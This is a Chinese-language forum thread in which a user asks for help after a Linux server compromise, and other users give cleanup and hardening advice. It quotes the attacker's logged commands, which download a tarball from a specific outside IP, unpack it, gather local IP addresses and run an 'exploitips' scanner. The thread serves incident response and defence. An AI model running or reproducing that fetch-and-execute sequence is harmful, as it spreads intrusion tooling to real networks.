服务器被攻击，如何解决

[fantasticlw]

自己的 Linux 服务器应该被攻击了，看日志查看到以下的执行命令

curl -O 167.235.199.99/.mini/.msq.tar;
tar xvf .msq.tar;
rm -rf .msq.tar ; cd .msq;
chmod +x *; 
ip addr > .ipss ;
grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' .ipss > .regexout;
./exploitips

自己的显卡暂时还没有被征用

有大佬知道167.235.199.99/.mini/.msq.tar压缩包内可执行程序会干什么事情吗？（在虚拟机下尝试）

个人水平差，望赐教！ 以及接下来该怎么做呢？重新安装系统？

[sheeta]

重装最好

[MoeMoesakura]

1.去丢在线沙盒里跑
2.建议重装，但是记得先看 last 跟 lastb ，记录一下 IP

[JoshuaBen]

看起来是在横向移动扩散，找内网的其他资产

[CodeCodeStudy]

好像是尝试用弱口令扫码局域网 IP

[bjzhush]

解压之后看到有这几个文件，基本上就是扫描、提权、大马这一类的，先把你重要数据备份到本地或者别的服务器吧

[Calen]

方便问一下您的服务器密码是什么吗？类似的例子就行。

[fantasticlw]

@Calen 因为要给朋友用，所以他们的就和用户名一致😕疏忽了

[hemingcn]

关机，睡觉。

[namelesswryyy]

找运行中的程序位置，有没有奇怪的 path
有专门做 process 名伪装的，能伪装名字但位置能看到

找 crontab 有没有奇怪的定时任务

封掉漏洞后，处理完再观察一段时间
如果还有，可能就是系统文件被替换了
建议把东西移走，重做
但这种情况不太多

[JensenQian]

密钥登录，别用密码

[feng0vx]

重装，换密钥登陆，禁用 root 登陆，密码 uuid 生成

[dode]

@feng0vx https://aduo.cc/tools/pw

[dode]

备份数据，重装系统，禁用 ssh 密码登陆

[xiaoqiao24]

@dode 是不是可以添加大写呢 或者加个开关支持大写？

[documentzhangx66]

楼主思路完全搞错了。

1.重装。

2.没必要禁用 root ，也没必要换秘钥登录。root 使用至少 16 位复杂密码，包含数字、字符、大小写字母。

3.安装 fail2ban 。

4.常见服务，比如 nginx 、mysql ，不要直接暴露端口到公网，要过一遍防火墙与 WAF 。

5.如果没有防火墙与 WAF ，那就用 WireGuard 给服务器组加密虚拟网络，需要使用服务器的电脑，在 WireGuard 网络里访问服务器。

6.服务器 SSH 端口，要做白名单，仅允许认识的 IP 地址连接。

[dogking2]

https://s.threatbook.com/report/file/8b6b50750be880d86c4f42b15e685c3796f72e27fe0d5cc3d6cc4903f19d9d42

[salmon5]

root+至少 20 位的 大小写+数字 随机密码，能避免 99.99%的攻击

[dode]

@xiaoqiao24 这是我自用的，代码也很简单，一个 html 文件，你可以存一个自己改，一般要求大写的服务就换一下首个字母，现在浏览器也支持自动生成密码.

[feng0vx]

@dode 位数太少了，参考 uuidgen